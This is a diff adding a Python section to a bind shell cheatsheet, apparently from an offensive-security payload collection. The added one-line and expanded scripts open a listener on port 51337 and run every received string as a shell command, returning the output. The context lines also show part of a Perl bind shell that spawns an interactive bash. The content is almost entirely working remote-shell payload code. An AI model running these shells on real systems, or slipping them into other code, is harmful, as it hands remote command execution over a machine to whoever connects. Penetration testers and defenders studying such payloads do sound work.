Add Python bind shell

Methodology and Resources/Bind Shell Cheatsheet.md

@@ -22,6 +22,30 @@ bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);\
 close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'
 ```
 
+## Python
+
+Single line :
+```python
+python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",51337));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'
+```
+
+Expanded version :
+
+```python
+import socket as s,subprocess as sp;
+
+s1 = s.socket(s.AF_INET, s.SOCK_STREAM);
+s1.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1);
+s1.bind(("0.0.0.0", 51337));
+s1.listen(1);
+c, a = s1.accept();
+
+while True: 
+    d = c.recv(1024).decode();
+    p = sp.Popen(d, shell=True, stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE);
+    c.sendall(p.stdout.read()+p.stderr.read())
+```
+
 ## PHP
 
 ```php